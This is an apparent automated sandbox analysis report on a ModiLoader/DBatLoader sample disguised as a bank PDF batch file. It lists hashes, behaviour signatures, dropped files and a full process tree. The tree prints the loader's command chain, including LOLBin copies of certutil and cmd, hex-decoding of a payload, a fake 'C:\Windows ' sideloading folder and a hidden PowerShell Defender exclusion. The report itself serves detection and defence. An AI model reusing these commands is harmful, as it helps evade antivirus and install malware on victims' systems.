Analysis

  • max time kernel
    148s
  • max time network
    137s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-11-2024 06:52

General

  • Target

    USD470900_COPY_800BLHSBC882001.PDF.bat

  • Size

    3.2MB

  • MD5

    c96743116088d21b52516f16f4866f69

  • SHA1

    9b9d500993f74ed975945419b6a25c03e80d8400

  • SHA256

    58348cc94b984ca026fa0a319b93ac988a394ed3d5ec39c01c47a8e762ebdb16

  • SHA512

    1a7520b8de10e9fb71f18f22287e298f25743a26ea946e71fb3b895bb8679f86986fe2b0ec30a0d7589cd85af404eca27d8ccf2a47f895f9c166c55660a8edd0

  • SSDEEP

    24576:PdLbg3tuCmhfOs2TLie3m0nKaf5ohA87eR4xGVPTXJF7wb2l+qCWuj8lzoQjJpcp:PR03turhfwL8uJFlEoNZHk

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Modiloader family
  • ModiLoader Second Stage 61 IoCs
  • Executes dropped EXE 17 IoCs
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\USD470900_COPY_800BLHSBC882001.PDF.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4352
    • C:\Windows\System32\extrac32.exe
      C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
      2⤵
        PID:3280
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1276
        • C:\Windows\system32\extrac32.exe
          extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
          3⤵
            PID:3292
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\USD470900_COPY_800BLHSBC882001.PDF.bat" "C:\\Users\\Public\\AnyDesk.jpeg" 9
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:1060
          • C:\Users\Public\kn.exe
            C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\USD470900_COPY_800BLHSBC882001.PDF.bat" "C:\\Users\\Public\\AnyDesk.jpeg" 9
            3⤵
            • Executes dropped EXE
            PID:2580
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\AnyDesk.jpeg" "C:\\Users\\Public\\Libraries\\AnyDesk.PIF" 12
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:1952
          • C:\Users\Public\kn.exe
            C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\AnyDesk.jpeg" "C:\\Users\\Public\\Libraries\\AnyDesk.PIF" 12
            3⤵
            • Executes dropped EXE
            PID:2884
        • C:\Users\Public\Libraries\AnyDesk.PIF
          C:\Users\Public\Libraries\AnyDesk.PIF
          2⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4144
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\hgkvgoaF.cmd" "
            3⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1696
            • C:\Windows\SysWOW64\esentutl.exe
              C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o
              4⤵
                PID:2380
              • C:\Windows\SysWOW64\esentutl.exe
                C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\ping.exe /d C:\\Users\\Public\\xpha.pif /o
                4⤵
                • System Network Configuration Discovery: Internet Connection Discovery
                PID:4344
              • C:\Users\Public\alpha.pif
                C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows "
                4⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:4340
              • C:\Users\Public\alpha.pif
                C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows \SysWOW64"
                4⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:4000
              • C:\Users\Public\alpha.pif
                C:\\Users\\Public\\alpha.pif /c C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10
                4⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:4412
                • C:\Users\Public\xpha.pif
                  C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10
                  5⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:1856
              • C:\Windows \SysWOW64\per.exe
                "C:\\Windows \\SysWOW64\\per.exe
                4⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of WriteProcessMemory
                PID:2596
                • C:\Windows\SYSTEM32\esentutl.exe
                  esentutl /y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe /d C:\\Users\\Public\\pha.pif /o
                  5⤵
                    PID:3524
                  • C:\Users\Public\pha.pif
                    C:\\Users\\Public\\pha.pif -WindowStyle hidden -Command Add-MpPreference -ExclusionPath 'C:\Users'
                    5⤵
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3628
                • C:\Users\Public\alpha.pif
                  C:\\Users\\Public\\alpha.pif /c del "C:\Users\Public\xpha.pif"
                  4⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:760
                • C:\Users\Public\alpha.pif
                  C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \SysWOW64
                  4⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:2252
                • C:\Users\Public\alpha.pif
                  C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \"
                  4⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:2848
              • C:\Windows\SysWOW64\esentutl.exe
                C:\\Windows\\System32\\esentutl.exe /y C:\Users\Public\Libraries\AnyDesk.PIF /d C:\\Users\\Public\\Libraries\\Faogvkgh.PIF /o
                3⤵
                  PID:3156
                • C:\Windows\SysWOW64\colorcpl.exe
                  C:\Windows\System32\colorcpl.exe
                  3⤵
                  • System Location Discovery: System Language Discovery
                  PID:836
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                2⤵
                • Executes dropped EXE
                PID:3764
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\AnyDesk.jpeg" / A / F / Q / S
                2⤵
                • Executes dropped EXE
                PID:712

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1krsvzec.dth.ps1

              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • C:\Users\Public\AnyDesk.jpeg

              Filesize

              2.3MB

              MD5

              f4d3d158e042b2f2f6241c94da2370fb

              SHA1

              0228ece140a699a52e806ad7a977ed2a1198035e

              SHA256

              28cd0f0300eb2afa9b4ab00193f0d5868ca091e361e4853cc48ec225b1a87e17

              SHA512

              a97fffa538df6c53b2e3c7f594bb46fbdfbc213eacf86bded4d4080fac0ca4eea7ec1ccc6ddbe6037f65f8f1138ad296e1112e48a3074f29564af7e447ddfe9e

            • C:\Users\Public\Libraries\AnyDesk.PIF

              Filesize

              1.2MB

              MD5

              df6f291f617d9dbae8f32fb11ecd59c1

              SHA1

              3d26f65c19079bea772572e3367b4185aa4c99ca

              SHA256

              43223d630e7d3898d254eaf0c02264261ada01c3ed93fc119c6550e66f406a5b

              SHA512

              4065e8c1072b89b6d741f8268de54ddb5521acad91fb13491fc1e1ed75467e753764501e201336c67cd7871b0774b835222c53e9f29ddf4ca72dac0d37f5f163

            • C:\Users\Public\Libraries\hgkvgoaF.cmd

              Filesize

              60KB

              MD5

              b87f096cbc25570329e2bb59fee57580

              SHA1

              d281d1bf37b4fb46f90973afc65eece3908532b2

              SHA256

              d08ccc9b1e3acc205fe754bad8416964e9711815e9ceed5e6af73d8e9035ec9e

              SHA512

              72901adde38f50cf6d74743c0a546c0fea8b1cd4a18449048a0758a7593a176fc33aad1ebfd955775eefc2b30532bcc18e4f2964b3731b668dd87d94405951f7

            • C:\Users\Public\alpha.exe

              Filesize

              283KB

              MD5

              8a2122e8162dbef04694b9c3e0b6cdee

              SHA1

              f1efb0fddc156e4c61c5f78a54700e4e7984d55d

              SHA256

              b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

              SHA512

              99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

            • C:\Users\Public\alpha.pif

              Filesize

              231KB

              MD5

              d0fce3afa6aa1d58ce9fa336cc2b675b

              SHA1

              4048488de6ba4bfef9edf103755519f1f762668f

              SHA256

              4d89fc34d5f0f9babd022271c585a9477bf41e834e46b991deaa0530fdb25e22

              SHA512

              80e127ef81752cd50f9ea2d662dc4d3bf8db8d29680e75fa5fc406ca22cafa5c4d89ef2eac65b486413d3cdd57a2c12a1cb75f65d1e312a717d262265736d1c2

            • C:\Users\Public\kn.exe

              Filesize

              1.6MB

              MD5

              bd8d9943a9b1def98eb83e0fa48796c2

              SHA1

              70e89852f023ab7cde0173eda1208dbb580f1e4f

              SHA256

              8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2

              SHA512

              95630fdddad5db60cc97ec76ee1ca02dbb00ee3de7d6957ecda8968570e067ab2a9df1cc07a3ce61161a994acbe8417c83661320b54d04609818009a82552f7b

            • C:\Users\Public\pha.pif

              Filesize

              442KB

              MD5

              04029e121a0cfa5991749937dd22a1d9

              SHA1

              f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

              SHA256

              9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

              SHA512

              6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

            • C:\Users\Public\xpha.pif

              Filesize

              18KB

              MD5

              b3624dd758ccecf93a1226cef252ca12

              SHA1

              fcf4dad8c4ad101504b1bf47cbbddbac36b558a7

              SHA256

              4aaa74f294c15aeb37ada8185d0dead58bd87276a01a814abc0c4b40545bf2ef

              SHA512

              c613d18511b00fa25fc7b1bdde10d96debb42a99b5aaab9e9826538d0e229085bb371f0197f6b1086c4f9c605f01e71287ffc5442f701a95d67c232a5f031838

            • C:\Windows \SysWOW64\NETUTILS.dll

              Filesize

              115KB

              MD5

              fc9b64a2b1006891bf39ebf395b4eba8

              SHA1

              0e98ba291d77ff8a57b5ebe198ff0c2e6c2bea00

              SHA256

              1093d0809ed5223c8ea2d723032c0ee2bfd1d971ad6ac69904983ec545000b3d

              SHA512

              9d5a9716b71b436dd465cdf8ed8471747828420cec7c5dad3406072e53f8de6e31253968e55ef49dc19a8245993b00164f193a3752cc16fce3887c4737db906d

            • C:\Windows \SysWOW64\per.exe

              Filesize

              94KB

              MD5

              869640d0a3f838694ab4dfea9e2f544d

              SHA1

              bdc42b280446ba53624ff23f314aadb861566832

              SHA256

              0db4d3ffdb96d13cf3b427af8be66d985728c55ae254e4b67d287797e4c0b323

              SHA512

              6e775cfb350415434b18427d5ff79b930ed3b0b3fc3466bc195a796c95661d4696f2d662dd0e020c3a6c3419c2734468b1d7546712ecec868d2bbfd2bc2468a7

            • memory/3628-344-0x000001C2FC810000-0x000001C2FC832000-memory.dmp

              Filesize

              136KB

            • memory/4144-87-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-74-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-91-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-90-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-89-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-88-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-71-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-86-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-65-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-83-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-81-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-80-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-78-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-76-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-68-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-66-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-85-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-84-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-64-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-82-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-63-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-62-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-55-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-45-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-36-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-79-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-61-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-60-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-77-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-75-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-59-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-92-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-58-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-57-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-73-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-56-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-72-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-70-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-54-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-69-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-67-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-53-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-52-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-51-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-50-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-49-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-48-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-41-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-47-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-40-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-46-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-44-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-43-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-42-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-37-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-38-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-39-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-34-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-35-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-33-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-32-0x0000000000400000-0x0000000000535000-memory.dmp

              Filesize

              1.2MB

            • memory/4144-29-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB

            • memory/4144-28-0x0000000002EA0000-0x0000000003EA0000-memory.dmp

              Filesize

              16.0MB